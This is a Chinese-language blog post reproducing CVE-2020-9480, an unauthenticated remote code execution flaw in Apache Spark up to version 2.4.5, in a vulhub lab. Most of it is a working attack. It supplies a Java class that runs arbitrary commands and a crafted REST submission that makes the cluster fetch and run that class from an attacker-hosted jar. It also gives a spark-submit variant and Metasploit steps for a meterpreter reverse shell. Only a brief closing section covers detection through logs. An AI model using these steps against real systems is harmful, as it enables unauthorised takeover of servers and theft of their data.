大柚子

这世界不过如此

概述

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。由于Apache Spark的认证机制存在缺陷,导致共享密钥认证失效。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的过程调用指令,启动Spark集群上的应用程序资源,获得目标服务器的权限,实现远程代码执行。

相关链接 https://spark.apache.org/security.html#CVE-2020-9480

影响版本

Apache Spark <= 2.4.5

漏洞复现

1、环境搭建

漏洞环境:docker + vulhub

环境启动后,会自动启用三个端口:8080,8081,6066,7077

他们分别为
(1)master的管理页面:http://your-ip:8080

(2)slave的管理页面:http://your-ip:8081

(3)stadalone模式下,master将在6066端口启动一个http服务器

(4)7077,是在6066端口不能访问的情况下,或做了权限控制,可以利用master的主端口来提交应用。

2、复现思路

未授权的用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。提交方法有两种。

(1)利用REST API

(2)利用submissions网关(集成在7077端口中)

3、复现

docker部署环境时将以 standalone 模式启动一个 Apache Spark 集群,集群里有一个 master 与一个 slave,访问 http://your-ip:8080 即可看到 master 的管理页面,访问 http://your-ip:8081 即可看到 slave 的管理页面。

提交的应用可以是java,可以是python,将其编译成JAR,放在任意一个HTTP 或FTP上,如:http://ip/Exploit.jar


import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Exploit {
  public static void main(String&#91;] args) throws Exception {
    String&#91;] cmds = args&#91;0].split(",");

    for (String cmd : cmds) {
      System.out.println(cmd);
      System.out.println(executeCommand(cmd.trim()));
      System.out.println("==============================================");
    }
  }

  private static String executeCommand(String command) {
    StringBuilder output = new StringBuilder();

    try {
      Process p = Runtime.getRuntime().exec(command);
      p.waitFor();
      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

      String line;
      while ((line = reader.readLine()) != null) {
        output.append(line).append("\n");
      }
    } catch (Exception e) {
      e.printStackTrace();
    }

    return output.toString();
  }
}

将其编译成“Exploit.jar”,并发布在http上或ftp上,这里发布在HTTP上


jar -cvf Exploit.jar Exploit.java  //打包成jar包
python -m http.server 8000  //发布http

(1)REST API方式提交

standalone模式(Spark集群的三种运行模式之一)下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API。访问并抓包


POST /v1/submissions/create HTTP/1.1
Host: 192.168.52.131:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 631

{
  "action": "CreateSubmissionRequest",
  "clientSparkVersion": "2.3.1",
  "appArgs": &#91;
    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
  ],
  "appResource": "http://192.168.52.1:8000/Exploit.jar",
  "environmentVariables": {
    "SPARK_ENV_LOADED": "1"
  },
  "mainClass": "Exploit",
  "sparkProperties": {
    "spark.jars": "http://192.168.52.1:8000/Exploit.jar",
    "spark.driver.supervise": "false",
    "spark.app.name": "Exploit",
    "spark.eventLog.enabled": "true",
    "spark.submit.deployMode": "cluster",
    "spark.master": "spark://192.168.52.131:6066"
  }
}

# 其中,spark.jars即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。

拦截抓包改包,会得到返回值:submissionId,然后访问http://192.168.52.131:8081/logPage/?driverId=driver-20220318161339-0002&logType=stdout,即可查看执行结果:

注:这里上传是通过浏览器插件修改后抓包重放的,直接复制内容重放数据包会出错)

注意:提交应用是在master中,查看结果是在具体执行这个应用的slave里(默认8081端口)。实战中,由于slave可能有多个。如果6066端口不能访问,或做了权限控制,我们可以向Spark standalone集群的master节点来提交应用,默认端口是7077,具体方法是利用Apache Spark自带的脚本bin/spark-submit

(2)利用Submissions网关

如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。

方法是利用Apache Spark自带的脚本bin/spark-submit:


bin/spark-submit --master spark://192.168.52.131:7077 --deploy-mode cluster --class Exploit https://192.168.52.1/Exploit.jar id

如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用

或者使用如下方法:


msf5&gt; use exploit/linux/http/spark_unauth_rce
msf5&gt; set payload java/meterpreter/reverse_tcp
msf5&gt; set rhost 被攻击ip
msf5&gt; set rport 6066
msf5&gt; set lhost 攻击ip
msf5&gt; set lport 4444
msf5&gt; set srvhost 攻击ip
msf5&gt; set srvport 8080
msf5&gt; exploit

如何应急排查

登录slave机器的8081端口页面,可以看到执行应用列表

查看网站的web日志,比如apache的用户访问日志,在日志中筛选”/v1/submissions/create”,以及搜索7071、8081、6066端口的访问情况,笔者是vulhub环境,故这里就不贴图了。

参考链接

https://vulhub.org/#/environments/spark/unacc/

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。